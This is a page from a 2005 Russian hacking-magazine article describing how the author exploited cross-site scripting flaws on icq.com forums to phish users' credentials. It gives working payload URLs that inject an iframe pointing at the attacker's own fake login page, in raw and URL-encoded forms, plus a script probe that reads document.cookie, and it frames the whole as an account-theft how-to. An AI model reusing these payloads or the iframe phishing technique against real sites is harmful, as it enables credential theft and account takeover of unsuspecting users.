Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #83, НОЯБРЬ 2005 г.

Имеем пользователей icq.com

PinkPanther

Хакер, номер #083, стр. 083-060-3


Можно было бы поэкспериментировать с подстановкой чужих куков (это если вдруг к сессии не был привязан айпи настоящего пользователя), но меня даже на эксперимент эта идея не вдохновила. Единственное, что я мог получить, - это доступ в чужой личный кабинет (именно форумный) и возможность постить сообщения от другого пользователя. Каким-либо образом узнать или сменить пароль/инфу через профайл было невозможным, поэтому я пошел другим путем - путем прямой кражи паролей через фейк-страницы авторизации.

Еще, забыл сказать, при посте сообщения, рядом со своей аватаркой, мы имеем 2 ссылки, одна из которых ведет в профайл, указанный в самом начале статьи, а другая, в профайл, находящийся примерно по следующему адресу: www.icq.com/whitepages/about_me.php?uin=559822. Само собой, этот профайл тоже дырявый :).

[идея и дальнейшие исследования]

Идея моя выглядела так: в форум кидаем сообщение со скриптом, редиректящим пользователя попавшего под воздействие этой CSS на страницу с фейком, расположенным на моем сайте, который выглядит, как главная страница авторизации на форуме. Пользователь вводит свои данные и переходит опять на форум, тем временем, все введенные им данные сохраняются у меня. Но одно дело сказать…. Ведь пользователь сразу спалит подделку, если в адресной строке браузера будет написано что-то типа: http//panterka-zloy-hacker.h15.ru/razvod.php. Тут можно было пойти 2-мя путями: или использовать для обмана url spoofing, или найти еще одну пассивную уязвимость (желательно на странице авторизации на форум) и встроить в нее iframe, через который отображался бы мой фейк.

Я сбегал в ночной магазин за двумя бутылочками пивка и принялся искать новые CSS. Прошло 15 мин, и уже было выделено 3 пассивных уязвимости, одна из которых, находилась именно в странице авторизации. Вот ее url с уже встроенным опасным скриптом:

www.icq.com/karma/login_page.php?dest=http%3A%2F%2Fwww.icq.com%2Fboards%2F&sv=2&css=boards.css"><iframe%20src=http://my_site/login.php%20height=100%%20width=100%%20scrolling=no%20frameborder=0>

Теперь, переведя особо палевные моменты в uri кодировку, получим:

www.icq.com/karma/login_page.php?dest=http%3A%2F%2Fwww.icq.com%2Fboards%2F&sv=2&css=boards.css%22%3E%3Ciframe%2520src%3Dhttp%3A%2F%2Fmy_site%2Flogin.php%2520height%3D100%25%2520width%3D100%25

Как видишь, я создал ифрейм, в котором будет отображаться наш фейк, расположенный на моем сайте, но…на данной странице (www.icq.com/karma/login_page.php) оказалось целых 3 уязвимых параметра, а это означает, что мы будем видеть целых три 100% ифрейма, отображающихся сверху вниз. Конечно, не все это заметят, но, не желая рисковать, пришлось взять другую уязвимость - в форумном поисковике:

www.icq.com/icq_preferences/sig_preview.php?sig=<script>alert(document.cookie)</script>

Тут меня тоже ждала неудача - ограничение на количество вводимых символов. В итоге, я остановился на 3 CSS. Вот ее url с уже оформленным iframe. Опять же, зашифровав все лишнее и некрасивое, получим:

Назад на стр. 083-060-2  Содержание  Вперед на стр. 083-060-4